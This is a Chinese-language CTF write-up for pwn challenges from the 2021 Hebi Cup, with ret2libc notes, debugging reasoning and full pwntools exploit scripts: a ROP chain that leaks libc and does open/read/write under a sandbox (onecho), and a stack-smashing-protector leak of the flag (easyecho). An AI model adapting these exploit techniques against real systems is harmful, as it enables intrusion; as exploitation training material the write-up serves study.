2021鹤壁杯部分pwn题...

【pwn】2021 鹤壁杯 wp

前言

这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊!

1、ret2libc1

就是最简单的ret2libc1,好像还有后门,我给忘了

2、ret2libc3

也是基本的ret2libc3,puts.plt泄露puts.got从而泄露libc.address,system("sh")

要注意一下栈平衡,在rop之前加个ret

3、onecho

这题,虽然很简单,但是我太拉了,不会动调,导致rop链读不到,orw自然没办法进行。在这里特别感谢K0nashi师傅和niyah师傅帮了我动调的大忙!

开了沙箱,所以选择orw

image-20211009212307184

先分析漏洞

image-20211009212028538

输入name的函数中,有一个scanf的栈溢出,并且将我们输入的内容memcpy给传入的参数a1,长度为输入name-1(减去\n)

正常的思想就是通过scanf进行rop链的构造,我第一次尝试的payload = flat('flag\x00'.ljust(0x110 ,'\x00' ),write_plt ,myread, 1,puts_got,0x4)

发现不可以,直接eof了,那么肯定就是栈出了问题,我们直接用上面的错误代码进行调试

image-20211009212612715

发现错误原因,我们在执行到memcpy函数的时候,会把myread这个text段的函数地址给dest,而这个地址是不可写的,所以memcpy在尝试将flag写入0x80495c6这个地址的时候就错误了

我们通过上面的调试发现,我们偏移为0x118的位置会给memcpy的第一个参数

所以我们payload的构造应该是 payload = flat( 'flag\x00'.ljust(0x110 ,'\x00' ),pop_esi_edi_ebp, bss,0x5, 0,write_plt ,myread, 1,puts_got,0x4)

调试如下

image-20211009213029055

我们成功的把“flag”这4个字符写入了一个bss段的地址

接下来做的就是简单的orw了,在每一次orw的时候都需要pop_esi_edi_ebp来抬栈,让rop链可以执行

niyah师傅的exp:

def pwn():
    bss = 0x804C008
    puts_got = elf.got['puts']
    write_plt = elf.plt['write']
    myread = 0x080495C6
    pop_esi_edi_ebp = 0x08049811

    payload = flat(
        'flag\x00'.ljust(0x110 ,'\x00' ),
        pop_esi_edi_ebp, bss,
        0x5, 0,
        write_plt ,myread, 1,puts_got,0x4
    )
    
    dbg()
    sla("name:",payload)
    pau()
    
    puts_addr = uu32(ru(b"\xf7",False)[-4:])
    libc.address = puts_addr - libc.sym["puts"]
    leak("libc_base",libc.address)
    open_addr = libc.sym['open']
    read_addr = libc.sym['read']

    flag_addr = bss
    payload = flat(
        'flag\x00'.ljust( 0x110,'\x00'), 
        pop_esi_edi_ebp, 0,
        1, 0,
        open_addr ,myread ,flag_addr 
    )
    dbg()
    sl(payload)
    
    payload = flat(
        'flag\x00'.ljust( 0x110,'\x00'), 
        pop_esi_edi_ebp, 0,
        1, 0,
        read_addr ,myread ,3 , flag_addr , 0x30 
    )
    sl(payload)

    payload = flat(
        'flag\x00'.ljust( 0x110,'\x00'), 
        pop_esi_edi_ebp, 0,
        1, 0,
        write_plt ,myread ,1 , flag_addr , 0x30 
    )
    sl(payload)
    
    ia()

pwn()

get flag

image-20211009215141133

4、easyecho

这题属于是不会看逆向了,已经猜到必然是smash的花式栈溢出了,但是由于不会逆向分析所以ji了QAQ

感谢K0nashi师傅的指导!

还是有必要说一声,smash这个方法止步于libc2.23咯

漏洞分析:

image-20211009221318160

gets溢出,我们无法使用rop因为没办法逃逸出while循环,需要之后覆盖用到

第二个do中,比较两个字符串是否相等,

调用V9函数,这个V9是这样的

image-20211009221453129

读取flag到一个地址上

那么我们的思路就是调用V9这个函数,首先输入backdoor执行后门函数,让flag读到bss段

之后覆盖报错为flag的地址,让报错输出flag,这个方法详情见ctf-wiki

我们开始动调,让程序执行到open,read之后,用search搜索flag位置

image-20211009221742302

查看stack情况,计算我们的输入与文件名的偏移

image-20211009222047842

image-20211009222236658

输入padding进行覆盖

image-20211009222015866

get flag

image-20211009222302094

exp:

sla("Name:",b"b"*15+b"a")
ru("a")
addr = uu64(ru(" into")) - 0xcf0
leak("addr",addr)

flag_addr =addr + 0x202040
leak("flag_addr",flag_addr)

payload = b'a'*0x168 + p64(flag_addr)
# dbg()
sla("Input:","backdoor")
# pau()

sla('Input: ',payload)
sla('Input: ','exitexit')

ia()

5、supermaket

ciscn 2018 pwn原题,百度就有exp,恶心就恶心在libc是2.23-9,这玩意已经被打补丁绝版了,找了好久在ubuntu官网找到,终于算好了atoi到system的偏移